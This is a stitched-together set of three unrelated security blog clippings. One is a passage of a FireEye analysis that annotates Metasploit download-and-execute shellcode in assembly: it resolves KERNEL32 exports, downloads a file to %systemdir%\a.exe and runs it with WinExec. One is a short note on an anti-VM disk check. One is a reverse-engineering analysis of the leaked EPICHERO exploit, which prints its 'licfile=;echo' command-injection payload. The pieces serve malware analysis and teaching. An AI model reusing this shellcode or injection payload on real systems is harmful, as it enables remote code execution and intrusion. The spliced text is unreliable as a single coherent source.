So at this point, the shellcode knows where to find the first DLL file that
was mapped into memory. Now it finds functions in the library in the same way
that Windows does it.

[code]

    nt!_LDR_DATA_TABLE_ENTRY [_AKA: "_LDR_MODULE"_]
    +0x000 InLoadOrderLinks               : _LIST_ENTRY
    +0x008 InMemoryOrderLinks             : _LIST_ENTRY
    +0x010 InInitializationOrderLinks     : _LIST_ENTRY ← _So EAX was pointing here_ …
    +0x018 **DllBase**                        : Ptr32 Void -------------┐     _MOV EAX, [EAX+0x8]_
    [etc.]                                                          │
                                                                    │
           ┌--------------------------------------------------------┘     _MOV EBX, EAX_
           ↓
           nt!_IMAGE_DOS_HEADER     _EBX points here, and is used for all Virtual Address offsets_
           +0x000 e_magic    : Uint2B (_usually "MZ"_) 
           +0x002 e_cblp     : Uint2B
           +0x004 e_cp       : Uint2B
           +0x006 e_crlc     : Uint2B
           +0x008 e_cparhdr  : Uint2B
           +0x00a e_minalloc : Uint2B
           +0x00c e_maxalloc : Uint2B
           +0x00e e_ss       : Uint2B
           +0x010 e_sp       : Uint2B
           +0x012 e_csum     : Uint2B
           +0x014 e_ip       : Uint2B
           +0x016 e_cs       : Uint2B
           +0x018 e_lfarlc   : Uint2B
           +0x01a e_ovno     : Uint2B
           +0x01c e_res      : [4] Uint2B
           +0x024 e_oemid    : Uint2B
           +0x026 e_oeminfo  : Uint2B
           +0x028 e_res2     : [10] Uint2B
           +0x03c e_lfanew   : Int4B  -------┐     _MOV ESI, [EBX+0x3C]_
                                             │
                ┌----------------------------┘
             ESI↓
                nt!_image_nt_headers
                +0x000 Signature         : Uint4B (_usually "PE\0\0"_) --┐
                +0x004 FileHeader        : _IMAGE_FILE_HEADER          │
                    +0x000 Machine              : Uint2B               │
                    +0x002 NumberOfSections     : Uint2B               │
                    +0x004 TimeDateStamp        : Uint4B               │
                    +0x008 PointerToSymbolTable : Uint4B               │
                    +0x00c NumberOfSymbols      : Uint4B               │
                    +0x010 SizeOfOptionalHeader : Uint2B               │
                    +0x012 Characteristics      : Uint2B               │ _This distance is_
                +0x018 OptionalHeader    : _IMAGE_OPTIONAL_HEADER      │ _0x78 bytes long_
                    +0x000 Magic                       : Uint2B        │
                    +0x002 MajorLinkerVersion          : UChar         │
                    +0x003 MinorLinkerVersion          : UChar         │
                    +0x004 SizeOfCode                  : Uint4B        │ _(That's 0x18+0x60 bytes_
                    +0x008 SizeOfInitializedData       : Uint4B        │ _from the PE header to the_
                    +0x00c SizeOfUninitializedData     : Uint4B        │ __IMAGE_DATA_DIRECTORY)_
                    +0x010 AddressOfEntryPoint         : Uint4B        │ 
                    +0x014 BaseOfCode                  : Uint4B        │
                    +0x018 BaseOfData                  : Uint4B        │
                    +0x01c ImageBase                   : Uint4B        │
                    +0x020 SectionAlignment            : Uint4B        │
                    +0x024 FileAlignment               : Uint4B        │
                    +0x028 MajorOperatingSystemVersion : Uint2B        │
                    +0x02a MinorOperatingSystemVersion : Uint2B        │
                    +0x02c MajorImageVersion           : Uint2B        │
                    +0x02e MinorImageVersion           : Uint2B        │
                    +0x030 MajorSubsystemVersion       : Uint2B        │
                    +0x032 MinorSubsystemVersion       : Uint2B        │
                    +0x034 Win32VersionValue           : Uint4B        │
                    +0x038 SizeOfImage                 : Uint4B        │
                    +0x03c SizeOfHeaders               : Uint4B        │
                    +0x040 CheckSum                    : Uint4B        │
                    +0x044 Subsystem                   : Uint2B        │
                    +0x046 DllCharacteristics          : Uint2B        │
                    +0x048 SizeOfStackReserve          : Uint4B        │
                    +0x04c SizeOfStackCommit           : Uint4B        │
                    +0x050 SizeOfHeapReserve           : Uint4B        │
                    +0x054 SizeOfHeapCommit            : Uint4B        │
                    +0x058 LoaderFlags                 : Uint4B        │
                    +0x05c NumberOfRvaAndSizes         : Uint4B        │
                    +0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY -┘ _MOV ESI, [ESI+EBX+0x78]; ADD ESI, EBX_
                                                   │
                                                  /
                                                 / (_This isn't exactly kd output, I've fabricated it.)_
                                                /
                                               ↓
                           nt!_IMAGE_DATA_DIRECTORY        _**Export Table**_
                    +0x060 +0x000 **VirtualAddress** : Uint4B  _RVA of the table - Relative to Base Address (EBX)_
                    +0x064 +0x004 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Import Table_
                    +0x068 +0x008 VirtualAddress : Uint4B
                    [etc.] +0x00c Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Resource Table_
                           +0x010 VirtualAddress : Uint4B
                           +0x014 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Exception Table_
                           +0x018 VirtualAddress : Uint4B
                           +0x01c Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Certificate Table_
                           +0x020 VirtualAddress : Uint4B
                           +0x024 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Base Relocation Table_
                           +0x028 VirtualAddress : Uint4B
                           +0x02c Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Debug_
                           +0x030 VirtualAddress : Uint4B
                           +0x034 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Architecture_
                           +0x038 VirtualAddress : Uint4B
                           +0x03c Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Global Ptr_
                           +0x040 VirtualAddress : Uint4B
                           +0x044 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _TLS Table_
                           +0x048 VirtualAddress : Uint4B
                           +0x04c Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Load Config Table_
                           +0x050 VirtualAddress : Uint4B
                           +0x054 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Bound Import_
                           +0x058 VirtualAddress : Uint4B
                           +0x05c Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _IAT_
                           +0x060 VirtualAddress : Uint4B
                           +0x064 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Delay Import Descriptor_
                           +0x068 VirtualAddress : Uint4B
                           +0x06c Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _CLR Runtime Header_
                           +0x070 VirtualAddress : Uint4B
                           +0x074 Size           : Uint4B
                           nt!_IMAGE_DATA_DIRECTORY        _Reserved_
                           +0x078 VirtualAddress : Uint4B
                           +0x07c Size           : Uint4B
[/code]

## Importing Functions

[code]

    Now where were we...
    
    nt!_IMAGE_DATA_DIRECTORY        _**Export Table**_
    +0x000 **VirtualAddress** : Uint4B -----┐     _MOV ESI, [ESI+EBX+0x78] ; ADD ESI, EBX_
    +0x004 Size           : Uint4B      │
                                        │
           ┌----------------------------┘
        ESI↓
           nt!_IMAGE_EXPORT_DIRECTORY 
           +0x000 Characteristics       : Uint4B
           +0x004 TimeDateStamp         : Uint4B
           +0x008 MajorVersion          : Uint2B     Number of Names or Functions in EAT
           +0x00a MinorVersion          : Uint2B     Because of aliasing, these can be different values.                             
           +0x00c Name                  : Uint4B     The shellcode uses the wrong one for the name lookup loop.                      
           +0x010 Base                  : Uint4B        
           +0x014 NumberOfFunctions     : Uint4B ------    _MOV ECX, [ESI+0x14]_
           +0x018 NumberOfNames         : Uint4B
           +0x01c AddressOfFunctions    : Uint4B
           +0x020 AddressOfNames        : Uint4B -----┐    _MOV EDI, [ESI+0x20] ; ADD EDI, EBX_
           +0x024 AddressOfNameOrdinals : Uint4B      │
                                                      │ The Export Name Table is just an
                                                      │ array of pointers to C-style strings.
                                                      │ The Ordinal table uses the exact
                                                      │ same array indexes.
           ┌------------------------------------------┘
           │
           │    As a concrete example, I'm using RVA values from the WinXP SP2 English KERNEL32.DLL
           │    The base address of this DLL is 0x77E80000, so EBX will be pointing there in the code below.
           │    Base Address + RVA = Actual Virtual Address in memory (Most of the time)
           │
        EDI↓ _AddressOfNames=0x577B2              AddressOfNameOrdinals=0x57144     AddressOfFunctions=0x56468_
    name[  0]=0x5849B → "AddAtomA\0"                  ordinal[  0]=0x0000         function[0x0000]=0x0000932E  
    name[  1]=0x584A4 → "AddAtomW\0"                  ordinal[  1]=0x0001         function[0x0001]=0x00009BC4  
    name[  2]=0x584AD → "AddConsoleAliasA\0"          ordinal[  2]=0x0002         function[0x0002]=0x00044457  
    name[  3]=0x584BE → "AddConsoleAliasW\0"          ordinal[  3]=0x0003         function[0x0003]=0x00044420  
    name[  4]=0x584CF → "AllocConsole\0"              ordinal[  4]=0x0004         function[0x0004]=0x0004520E  
    name[  5]=0x584DC → "AllocateUserPhysicalPages\0" ordinal[  5]=0x0005         function[0x0005]=0x000339D6  
    name[  6]=0x584F6 → "AreFileApisANSI\0"           ordinal[  6]=0x0006         function[0x0006]=0x00018678  
    name[  7]=0x58506 → "AssignProcessToJobObject\0"  ordinal[  7]=0x0007         function[0x0007]=0x00043BAE  
    name[  8]=0x5851F → "BackupRead\0"                ordinal[  8]=0x0008         function[0x0008]=0x00029776  
    name[  9]=0x5852A → "BackupSeek\0"                ordinal[  9]=0x0009         function[0x0009]=0x000299D2  
    name[ 10]=0x58535 → "BackupWrite\0"               ordinal[ 10]=0x000A         function[0x000A]=0x0002A2FA  
    name[ 11]=0x58541 → "BaseAttachCompleteThunk\0"   ordinal[ 11]=0x000B         function[0x000B]=0x00028916  
    name[ 12]=0x58559 → "Beep\0"                      ordinal[ 12]=0x000C         function[0x000C]=0x0002A518  
        [...]                                                 [...]                        [...]
    name[339]=0x59DA5 → "GetProcAddress\0"            ordinal[339]=0x0153         function[0x0153]=0x0001564B
        [...]                                                 [...]                        [...]
    name[821]=0x5BEA9 → "lstrlenA\0"                  ordinal[821]=0x0335         function[0x0335]=0x00017334  
    name[822]=0x5BEB2 → "lstrlenW\0"                  ordinal[822]=0x0336         function[0x0336]=0x0000CD5C  
           ║                                                    ⇑    ║                        ⇑
           ╚====================================================╝    ╚========================╝
    
    ; So this loop walks down the AddressOfNames array, doing string comparisons with the strings stored at
    ; the end of the shellcode. It keeps track of how many iterations the loop has gone through through,
    ; which will be the ordinal number when the loop exits.
    ; (The left half of the diagram above.)
    
    NameToOrdinal:
                                               ; EDI and ECX get clobbered for the REPE CMPSB op
            push    edi             ; 57       ; AddressOfNames Array                  Stack: EDI
            push    ecx             ; 51       ; NumberOfFunctions left to go          Stack: ECX EDI
            mov     edi, [edi]      ; 8B 3F    ; EDI points to start of a Name String
            add     edi, ebx        ; 03 FB    ; RVA to VA conversion
            mov     esi, edx        ; 8B F2    ; EDX points to string table at end of shellcode "GetProcAddress" etc.
            push    byte +0xe       ; 6A 0E    ; Only compare the first fourteen chars
            pop     ecx             ; 59       ; ECX = 0xE
            repe    cmpsb           ; F3 A6    ; Compare  [ESI] with [EDI]
            jz      Exitloop        ; 74 08    ; If we've found the string, we're done
            pop     ecx             ; 59       ; NumberOfFunctions left to check.      Stack: EDI
            pop     edi             ; 5F       ; Curent Index of AddressOfNames Array 
            add     edi, byte +0x4  ; 83 C7 04 ; Next AddressOfNames pointer
            inc     ebp             ; 45       ; Ordinal / AddressOfNames Array index
            loop    NameToOrdinal   ; E2 E9    ; 
    Exitloop:
            ; snip... 
    
    ; This code finds the function's address using the ordinal
    ; (The center half of the diagram above.)
    
            mov     ecx, ebp        ; 8B CD    ; EBP = Ordinal (AddressOfNames Array index)
            mov     eax, [esi+0x24] ; 8B 46 24 ; AddressOfNameOrdinals RVA
            add     eax, ebx        ; 03 C3    ; RVA to VA conversion
            shl     ecx, 1          ; D1 E1    ; Ordinal * 2
            add     eax, ecx        ; 03 C1    ; EAX = (*AddressOfNameOrdinals) + (Ordinal * 2)
                                               ; to put in another way EAX = &AddressOfNameOrdinals[Ordinal]
            xor     ecx, ecx        ; 33 C9    ; ECX = 0
            mov     cx, [eax]       ; 66 8B 08 ; CX = Ultimate Index (FunctionOrdinal) into AddressOfFunctions
    
    ; (The right half of the diagram above.) (Yes I know that's three halves.)
    
            mov     eax, [esi+0x1c] ; 8B 46 1C ; AddressOfFunctions RVA
            add     eax, ebx        ; 03 C3    ; RVA to VA conversion
            shl     ecx, 0x2        ; C1 E1 02 ; FunctionOrdinal * 4
            add     eax, ecx        ; 03 C1    ; EAX = (*AddressOfFunctions) + (FunctionOrdinal * 4)
                                               ; alt. EAX = &AddressOfFunctions[AddressOfNameOrdinals[Ordinal]]
            mov     eax, [eax]      ; 8B 00    ; EAX = RVA of function (ta-da)
            add     eax, ebx        ; 03 C3    ; RVA to VA conversion
[/code]

  

The rest of the functions from `KERNEL32.DLL` which the shellcode uses are
looked up with`GetProcAddress()` in a loop. Each function address is stored on
top of the strings at the end of the shellcode. \(i.e. It overwrites
"`GetProcAddress\0GetSystemDirectoryA\0`" …etc.\)

[code]

            mov     edi, edx        ; 8B FA         ; EDX points to string table
            mov     esi, edi        ; 8B F7         ; And so now EDI and ESI point there too
            add     esi, byte +0xe  ; 83 C6 0E      ; "GetProcAddress" is 0xE bytes long, skip it.
            mov     edx, eax        ; 8B D0         ; The address of GetProcAddress()
            push    byte +0x4       ; 6A 04         ; Number of names (after "GetProcAddress") to lookup in KERNEL32
            pop     ecx             ; 59            ; ECX = 4 names to lookup
            call    GetFunctions    ; E8 50000000   ; ------
    
            [snip…]
    
    ; http://msdn.microsoft.com/en-us/library/ms683212(VS.85).aspx
    
    ;   FARPROC WINAPI GetProcAddress(
    ;      __in  HMODULE hModule,
    ;      __in  LPCSTR lpProcName
    ;   );
    
    Getfunctions:
            xor     eax,eax         ; 33C0          ; EAX = 0
            lodsb                   ; AC            ; EAX = byte [ESI] assumes DF=0 I guess
            test    eax,eax         ; 85C0          ; Check if at end of function name string
            jnz     Getfunctions    ; 75F9          ; The loop advances ESI to the end of 
                                                    ; this sting and start of next
            push    ecx             ; 51            ; Loop counter: 4,3,2,1
            push    edx             ; 52            ; GetProcAddress function address
            push    esi             ; 56            ; lpProcName = ESI = Start of name string in list
            push    ebx             ; 53            ; hModule = KERNEL32 base address or URLMON base address
                                                    ; GetProcAddress(hModule [in], lpProcName [in])
    
            call    edx             ; FFD2          ; EAX = GetProcAddress(EBX, ESI)
            pop     edx             ; 5A            ; GetProcAddress function address
            pop     ecx             ; 59            ; Loop counter: 4,3,2,1
            stosd                   ; AB            ; Store Function Pointer, EAX, at [EDI]
            loop    Getfunctions    ; E2EE          ; Lather, rinse, repeat
            xor     eax,eax         ; 33C0          ; Return zero upon success?
            ret                     ; C3            ; _______________________________________
    
    
    db "GetProcAddress",0           ; EDI starts at this address.
    db "GetSystemDirectoryA",0      ; After loading URLMON becomes [edi-0x14]
    db "WinExec",0                  ; After loading URLMON becomes becomes [edi-0x10]
    db "ExitThread",0               ; After loading URLMON becomes becomes [edi-0x0C]
    db "LoadLibraryA",0             ; [edi-0x04] After loading URLMON becomes becomes [edi-0x08]
[/code]

[code]

            add     esi, byte +0xd  ; 83C60D        ; ESI was at start of "LoadLibraryA\0" which is 0xD long
            push    edx             ; 52            ; GetProcAddress function address
            push    esi             ; 56            ; lpFileName = ESI point to "urlmon\0"
            call    near [edi-0x4]  ; FF57FC        ; EAX = LoadLibrary(ESI)
    
    ; http://msdn.microsoft.com/en-us/library/ms684175(VS.85).aspx
    ;   lpFileName
    ;   HMODULE WINAPI LoadLibrary(
    ;     __in  LPCTSTR lpFileName
    ;   );
    
            pop     edx             ; 5A            ; GetProcAddress function address
            mov     ebx, eax        ; 8B D8         ; Handle to URLMON module
            push    byte +0x1       ; 6A 01         ; Number of names to lookup in URLMON.DLL
            pop     ecx             ; 59            ; ECX = 1 name to lookup
            call    Getfunctions    ; E8 3D000000   ; ------
    
            add     esi, byte +0x13 ; 83 C6 13      ; ESI was at "URLDownloadToFileA\0" so move past it
            push    esi             ; 56            ; szURL = ESI points to URL
    
            [snip…]
    
    db "urlmon",0                   ;
    db "URLDownloadToFileA",0       ; becomes [edi-0x04]
    
    
[/code]

### Calling Functions \(finally at last\)

The URL is terminated with a `0x80` byte rather than a `0x00`. As this URL
string is never encoded; It's probably an attempt to avoid null bytes, even to
the very end\!

[code]

    strlen_80:
            inc     esi             ; 46            ; Next letter of URL
            cmp     byte [esi],0x80 ; 803E80        ; Is it the end?
            jnz     strlen_80       ; 75FA          ; 
            xor     byte [esi],0x80 ; 803680        ; At end of URL, change 0x80 into a 0x00
            pop     esi             ; 5E            ; szURL = ESI points to URL
[/code]

This just gets the path to the `System32` directory.

[code]

    ; http://msdn.microsoft.com/en-us/library/ms724373(VS.85).aspx
    ;   UINT WINAPI GetSystemDirectory(
    ;     __out  LPTSTR lpBuffer,
    ;     __in   UINT uSize
    ;   );
            sub     esp, byte +0x20 ; 83EC20        ; Make some space for the string on the stack
            mov     ebx, esp        ; 8BDC          ; EBX = lpBuffer
            push    byte +0x20      ; 6A20          ; uSize = 0x20 bytes
            push    ebx             ; 53            ; lpBuffer (0x20 bytes on stack)
            call    near [edi-0x14] ; FF57EC        ; EAX = string length = GetSystemDirectoryA(EBX, 0x20)
[/code]

The string "`\\a.exe`" is appended onto the end of whatever
`GetSystemDirectory()` returned, and the downloaded file from the URL is
written to that.

[code]

    ; http://msdn.microsoft.com/en-us/library/ms775123(VS.85).aspx
    ;   HRESULT URLDownloadToFile(          LPUNKNOWN pCaller,
    ;       LPCTSTR szURL,
    ;       LPCTSTR szFileName,
    ;       DWORD dwReserved,
    ;       LPBINDSTATUSCALLBACK lpfnCB
    ;   );
    
            mov     dword [ebx+eax], 0x652e615c     ; C704035C612E65        ; lpBuffer + length = "\\a.e"
            mov     dword [ebx+eax+0x4], 0x6578     ; C744030478650000      ; lpBuffer + length + 4 = "ex"
    
            xor     eax, eax        ; 33C0          ; EAX = 0 if that wasn't obvious
            push    eax             ; 50            ; lpfnCB = 0
            push    eax             ; 50            ; dwReserved = 0
            push    ebx             ; 53            ; szFileName = %systemdir%\a.exe
            push    esi             ; 56            ; szURL = URL at end of shellcode
            push    eax             ; 50            ; pCaller = 0
            call    near [edi-0x4]  ; FF57FC        ; URLDownloadToFileA(0, ESI, EBX, 0, 0);
[/code]

Y'all know what's coming next... `WinExec`\!

[code]

    ; http://msdn.microsoft.com/en-us/library/ms687393(VS.85).aspx
    ;   UINT WINAPI WinExec(
    ;     __in  LPCSTR lpCmdLine,
    ;     __in  UINT uCmdShow
    ;   );
    
            mov     ebx,esp         ; 8B DC         ; EBX points to %systemdir%\a.exe
            push    eax             ; 50            ; uCmdShow = either S_OK or E_OUTOFMEMORY or INET_E_DOWNLOAD_FAILURE
                                                    ; I think what is intended is uCmdShow = 0
            push    ebx             ; 53            ; lpCmdLine = %systemdir%\a.exe
            call    near [edi-0x10] ; FF57F0        ; WinExec("%systemdir%\\a.exe",0);
[/code]

And that's it, we're basically done, so exit. Note, if someone wanted to fix
the `EXITFUNC` feature for this in MSF, you can either store "`ExitThread`" or
"`ExitProcess`" in the string table \(the arguments are the same, but their
lengths are off by one.\) or modify the shellcode logic itself. I'm very
tempted to make the changes myself, but I've got a bunch of other stuff I need
to get done this week. \(The easiest, but least elegant fix is to just swap
out all the encoded strings starting at `0x10A` and going all the way to the
end.\)

[code]

    ; http://msdn.microsoft.com/en-us/library/ms682659(VS.85).aspx
    ;    VOID WINAPI ExitThread(
    ;      __in  DWORD dwExitCode
    ;    );
            push    eax             ; 50            ; ERROR_BAD_FORMAT or ERROR_FILE_NOT_FOUND or one 
                                                    ; of the other things WinExec() might return. 
                                                    ; It's 32 or over on success
            call    near [edi-0xc]  ; FF57F4        ; ExitThread(EAX)
[/code]

  

Let me know if I've made any errors in this write up. I was too lazy to check
most of this out in a debugger; It's all come directly out of my head.

I've put an easy-to-assemble version of all this here: Download
Commented\_download\_exec

Note that NASM uses the alternative instruction encodings for some x86
opcodes, so you won't get the exact same binary out of NASM as the original in
MSF. If you don't know what this means, then don't worry, I'll explain it
later.

## Exercises for the reader

  1. Why does the shellcode use `GetProcAddress()` to look up the rest of the function names instead of the code which looked up "`GetProcAddress`" from the `KERNEL32.DLL` export table in the first place?
  2. What other shellcode has the same `NumberOfFunctions` verses `NumberOfNames` usage bug as this?
  3. What other shellcode uses `%systemdir%\a.exe` verses something else.
  4. What happens if `URLDownloadToFileA()` fails?

* * *
¹ In other words, I'm trying to write blog posts more frequently, and I
already had this analysis laying around. So all I had to do for this post is
to write an introduction and make it look pretty.

* * *
* * *
<img src='img/Temp2_3221' alt='Creative Commons License' />

Julia Wolf @ FireEye Malware Intelligence Lab  
Questions/Comments to `research` \[@\] `fireeye` \[.\] `com`

  
  

Julia Wolf on 2010.08.25 in Exploit Research, General Security, Vulnerability Research | Permalink
Technorati Tags: 29a, assembly, China, cnhonker, Dino Dai Zovi, downloadurl,
exploit, Export Table, ey4s, hacker, Honker, HUC,Julia Wolf, Metasploit, PE,
PE32, PEB, pita, Ratter, reverse engineering, security, shellcode, Skape, TEB,
Win32, Windows Internals,XFocus

  *[MSF]: Metasploit Framework
  *[LSD-PL]: Last Stage of Delirium, Poland
  *[HUC]: Honker Union of China
  *[MSF2]: Metasploit Framework 2.x
  *[`dt`]: dump type
  *[`kd`]: Kernel debugger
  *[EAT]: Export Address Table

# Anti-VM check through IOCTL\_STORAGE\_QUERY\_PROPERTY | Norman Blogs
**Created:**| _9/8/2011 3:44:43 PM_  
---|---  
**Updated:**| _9/8/2011 3:44:43 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis virtusalisation Emulation anti-debugging_  
  

# Anti-VM check through IOCTL\_STORAGE\_QUERY\_PROPERTY

September 5, 2011 by Snorre Fagerland \- No Comments

The other day we had a new spam run of files with attachment names like:

visa\_invoice\_nr7321848265742.doc .exe  
deliver-report\_t9286784.vxe

I noticed that some of these check whether they are running under VM’s by
interrogating the hard drive device. This is not particularly new technology;
it’s been used in various tools before and has probably also been used in
malware a while as well, though this is the first time I have seen it.

<img src='img/Temp2_848.png' width='1010' height='1063' />

<img src='img/Temp2_849.png' width='790' height='1063' />

My VMWare image, for example, will give out this information when using
smartctl from smartmontools:

smartctl 5.41 2011-06-09 r3365 \[i686-w64-mingw32-xp\] \(sf-win32-5.41-1\)  
Copyright \(C\) 2002-11 by Bruce Allen, http://smartmontools.sourceforge.net

=== START OF INFORMATION SECTION ===  
Device Model: VMware Virtual IDE Hard Drive  
Serial Number: 00000000000000000001  
Firmware Version: 00000001  
etc.

These parameters are sometimes possible to change through the setup of the VM
environment or even directly patching disk image; and obviously, if at all
possible, they should be.

# NSA ShadowBrokers Leak: Analyzing 'EPICHERO' ~ Infobyte Security Research
Labs

**Created:**| _5/20/2017 8:57:26 PM_  
---|---  
**Updated:**| _5/20/2017 9:04:12 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

  

# NSA ShadowBrokers Leak: Analyzing 'EPICHERO'

EzequielTBH 1:22 PM english exploit leak research reversing

<img src='img/C_o0eQwUwAAB6bf.jpg:large.jpg' width='640' height='360' />

  
On April 8th, 2017, a moderately well-known group known as ShadownBrokers
released a password to decipher the file known as **EQGRP-Auction-Files**
posted in** **medium.com.  
  
A few hours later the IT sec community on social media \(Twitter, Reddit,
etc\) was busy analyzing the leak.  
  
This article is about the reverse engineering of the exploit found in the leak
and to be a bit more specific about the exploit known as **EPICHERO**.  
  
**EPICHERO  **is a **RCE  **\(zero-day\) with **ROOT  **privileges in **Avaya
Communication Manager.  **The vulnerability resides in the CGI **/auth-cgi-
bin/distUpgReq  **whose **POST licfile  **parameter is vulnerable to **Command
Injection.**  
**  
**  

###

  * Vulnerable Product

**EPICHERO,** according to the documentation found in the leak is a zero day
\(at the moment there isn't a public CVE that references the bug\), RCE with
privileges of **ROOT** in **Avaya call server** for the
version S8710-013-00.0.340.3.  
  
'Avaya call server' is a generic name, which according to
the documentation \(Page 7, Paragraph 1.1\) refers to its hardware Appliance,
that runs the software Avaya Communication Manager.  
Because of this it was impossible to try it in order to really verify that the
exploit is functional and to specify all the vulnerable versions.  
  
The impact of the vulnerability beyond being a code execution is more than
remarkable, the S8710 server is a commercial server for routing voice, data
and video.  
Because of this, compromising this server could sniff the routed traffic and
as a consequence, record SIP calls, redirect them or exploit any known
techniques against a SIP server.  
  
Beyond that, given the large scope of the leak and his source \(NSA\) it is
posible that we're a little ahead of an exploit that is fully operational.  
  

###

  * First Look

A quick look at the exploit using '**file** ' gives us the following
information:

  

eh.1.1.0.0: ELF 32-bit LSB executable, Intel 80386, version 1 \(SYSV\),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.2.5, not
stripped

  

It is a ELF binary which wasn't stripped. This made it quite a bit easier to
do reversing on it to maintain names of functions and global variables\!

  

Using '**strings,  **we get to two pretty interesting strings....

  

GCC: \(GNU\) 3.2 20020903 \(Red Hat Linux 8.0 3.2-7\)

  

Versions for GCC and OS used by the exploit writer.

  

and the most important...

  

**_TYPE=licxfer &ftp=%s&source=/var/home/ftp/pub&version=NA&licfile=;echo "_**  
**_  
_**

###

  * Functionalities

<img src='img/exploit_arguments.png' width='640' height='106' />  
---  
Exploit parameters  
  
As you can see in the image the exploit permits:  

  * Specify the name of the log file.
  * Save MAC times of the modified files
  * Indicate a script as a payload
  * Run the last one as ROOT
  * Do a scan for the version of the server.

  

###

  * Reversing the exploit

We start reversing the main function, in a principle we only see a switch for
parse the parameters.

<img src='img/Screenshot+from+2017-04-19+20-05-18.png' width='640'
height='209' />

###

### Off the bat we start to notice something in particular: a strong error
check 

For each function called in the exploit you can check its return code and in
the case that a error came up a call to 'cleanup' is done. This is a function
that cleans all the buffers used and/or open sockets permitting a clean way to
close the exploit.  
  
<img src='img/cleanup_function.png' width='640' height='244' />  
---  
Cleanup function  
  

This, together with the intensive log of each variable, shows that we are
really see a professional exploit and not a simple PoC. You can really tell
that someone put a lot of time into it to make it usable for pentesters beyond
just the exploit writer.  
  
We continued analyzing the main and some blocks that got our attention.  
  
<img src='img/cert_key.png' width='320' height='294' />  
---  
Private key?\!  
_**  
**_

_**We have a certificate in PEM format and a private key\!**_  
But why is this here?  
This is the information for the certificate, together with a match check
between the certificate and the private key...  
  
<img src='img/certificate.png' width='200' height='133' />  
---  
Match\!  
Common Name: 130.62.9.101  
Organization: Avaya Inc.  
Organization Unit: s8700  
Country: US  
Valid From: May 17, 2006  
Valid To: May 9, 2036  
Issuer: Avaya Call Server, Avaya Inc.  
Serial Number: 5024b4b220060517120931  
  
The certificate is signed by Avaya Inc. which corresponds with
the documentation of the product which indicates that the certificates are
self-signed by Avaya. Additionally, this was created for **130.62.9.101** ,
probably one of the **_targets of the NSA_** for this exploit.  
  
Ok, but how we use that? Because the certificate is self-signed by Avaya,
there haven't the CA in any trusted store of an operating system or browser of
your choice. As a result it's necessary to add the certificate to that store
to be able to establish a HTTPS connection that the exploit needs.  
  
<img src='img/ssl_ctx_cert.png' width='640' height='280' />  
---  
Add Certificate and Key  
  
But besides adding the **certificate to the store  **does it add the **private
password**  to the Ctx object?  
That's right... this is due to the fact that there is a function named
'client\_comm' which is called one time from the main. This is responsible for
creating the necessary SSL\_CTX object to establish the SSL connection and
check that the function of the client \(likewise the server\), function
correctly in the exploit. Do you happen to remember the strong errors check?  
  
One of the exploit's functions is act as a scanner to be able to check the
version of the Appliance. Lets check out how you can do that...  
  
The function '**version\_scan** ' builds line to line a **Request POST
 ****HTTPS**** ** to **/auth-cgi-bin/distUpgReq**  with the following
parameters:  
  
<img src='img/7269_version.png' width='640' height='379' />  
---  
version\_scan  
TYPE=query&ftp=\[VICTIM\_IP\]&source=/var/home/ftp/pub&version=NA  
  
Parse the response looking for the substrings:  
  
version=  
patch=  
sid=  
mid=  
**  
**

After it looks for a '\n' at the end of those substrings, its starts printing
in the console \(in verbose mode\) the result of each substring searched.  
  
_**We finally got the 'exploit' function\!**_  
In this function we found quite a surprise. **There 's dead code**... code
that doesn't execute ever as a result of the two global variables that don't
have instances at any time during the exploit.  
These global variables are named 'BinFile' and 'AscFile' and later on we will
be able to see the results of search all the instructions that refers to them
in the exploit.

  
  
<img src='img/BinFile_missing.png' width='400' height='102' />  
---  
 It doesn't set any values ...  
<img src='img/AscFile_missing.png' width='400' height='88' />  
---  
It doesn't set any values ...  
  
<img src='img/seteo_indirecto.png' width='213' height='320' />  
---  
You can't set it using eax either...  
The best theory that we came up with about this, is that the exploit writer
due to lack of time refactor the sending of files and execution, forgetting
about this block of code and or leaving it alone because he was never going to
be able run it suceessfully.  
<img src='img/basic_blocks_deads.png' width='400' height='252' />  
---  
Dead Basic blocks   
  
While, putting this aside for a second, the exploit follows this path.  

  1. Create 2 random paths in /tmp/%d and another in /tftpboot/%d. Replacing %d with a random number. 
  2. Appear dead code inside of **if\(BinFile\)**  and **if\(AscFile\)** , and as we saw, this will not ever run. 

  
 A loop that reads each 1024 bytes of a specified payload from a file, to be
encoded with URL encode. 

  

If it is the first line read and if it asked for root privileges for the
script file:

  * It makes a command that moves everything in **/tftpboot/%random\_number  **\(a backup\) to **/opt/ws/%original\_name/webupgrade**  \(It's original site\) and eliminates this backup.
  * It concates to a buffer, the command of the payload read and after the command from the previous bridge

 If it isn't the first line read:

  1. We copied this line of the payload to the buffer.

  
When this buffer is full \(> 724 \) in this latter iteration of the loop.

  * It makes use of **snd\_n\_append** sending the saved command in the previous buffer and it saves everything in the first random path in /tmp, which we will call path\_random1.

  
This occurs in an infinite loop until it finishes reading the payload script
of the user. Here is when everything happens...

  1. If there was a pending command about to send, it is sent using **snd\_n\_append**.
  2. Build a command that erases the two random paths created \(path\_random1 and path\_random2\) and this is written in path\_random1.
  3. In path\_random2 it writes a command that runs the path\_random1 file redirecting the streams to a /dev/null.
  4. If the user asked for Root priveleges: 
    1. It saves the MAC of all the files and directories in /opt. Additionally, it changes it's MAC to that instant.
    2. The same with tftpboot/
    3. The same goes for /opt/ws/
    4. It makes a link of each file and directory of /opt/ws/\*/webupgrade \(except the links\) to the tftpboot path.
